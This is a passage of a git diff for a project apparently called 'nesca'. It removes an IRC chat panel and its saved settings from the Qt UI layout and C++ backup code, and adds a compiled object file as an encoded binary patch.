name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string> - </property> - <property name="text"> - <string>TOPIC</string> - </property> - </widget> - <zorder>nickList</zorder> - <zorder>ircRaw</zorder> - <zorder>ircServerBox</zorder> - <zorder>shoutBox</zorder> - <zorder>serverPortBox</zorder> - <zorder>ircNickBox</zorder> - <zorder>IRCConnectBut</zorder> - <zorder>ircText</zorder> - <zorder>ircProxy</zorder> - <zorder>ircProxyPort</zorder> - <zorder>IRCCheckProxyBut</zorder> - <zorder>nickShowBut</zorder> - <zorder>topicLine</zorder> - <zorder>IRCUTFMode</zorder> - <zorder>IRCCP1251Mode</zorder> - <zorder>labelIPRange_2</zorder> - <zorder>labelIPRange_3</zorder> - <zorder>labelIPRange_4</zorder> - <zorder>labelIPRange_5</zorder> - </widget> <widget class="QWidget" name="widgetJOB" native="true"> <property name="geometry"> <rect> @@ -3988,34 +3197,6 @@ color: rgb(71, 71, 71);</string> <string>:Dataflow</string> </property> </widget> - <widget class="QPushButton" name="IRCModeBut"> - <property name="geometry"> - <rect> - <x>340</x> - <y>50</y> - <width>48</width> - <height>16</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - <pointsize>8</pointsize> - </font> - </property> - <property name="toolTip"> - <string>Darknet IRC</string> - </property> - <property name="whatsThis"> - <string>Darknet IRC</string> - </property> - <property name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string> - </property> - <property name="text"> - <string>:IRC</string> - </property> - </widget> <widget class="QPushButton" name="JobModeBut"> <property name="geometry"> <rect> @@ -4044,42 +3225,8 @@ color: rgb(71, 71, 71);</string> <string>:Jobs</string> </property> </widget> - <widget class="QPushButton" name="IRCModeChangerBut"> - <property name="enabled"> - <bool>true</bool> - </property> - <property name="geometry"> - <rect> - <x>290</x> - <y>50</y> - <width>48</width> - <height>16</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - <pointsize>8</pointsize> - </font> - </property> - <property name="toolTip"> - <string>Raw or normal log view</string> - </property> - <property name="whatsThis"> - <string>Raw or normal log view</string> - </property> - <property name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string> - </property> - <property name="text"> - <string>:IRC raw</string> - </property> - </widget> <zorder>widget</zorder> <zorder>widgetJOB</zorder> - <zorder>widgetIRC</zorder> - <zorder>IRCModeChangerBut</zorder> - <zorder>IRCModeBut</zorder> <zorder>JobModeBut</zorder> <zorder>DataflowModeBut</zorder> </widget> diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 4c8ebcc..e81271a 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -243,26 +243,6 @@ void _SaveBackupToFile() strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - sprintf(saveStr, "[IRCSERVER]:%s\n", ircServer); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[IRCPORT]:%s\n", ircPort); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[IRCPROXY]:%s\n", ircProxy); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[IRCPROXYPORT]:%s\n", ircProxyPort); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[IRCNICK]:%s\n", ircNick); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - sprintf(saveStr, "[PING]:%s\n", gPingNScan ? "true" : "false"); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); diff --git a/nesca_startModule.o b/nesca_startModule.o new file mode 100644 index 0000000000000000000000000000000000000000..629f17ec23a707e91456610123a4c04b8fe5d7c1 GIT binary patch literal 165056 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 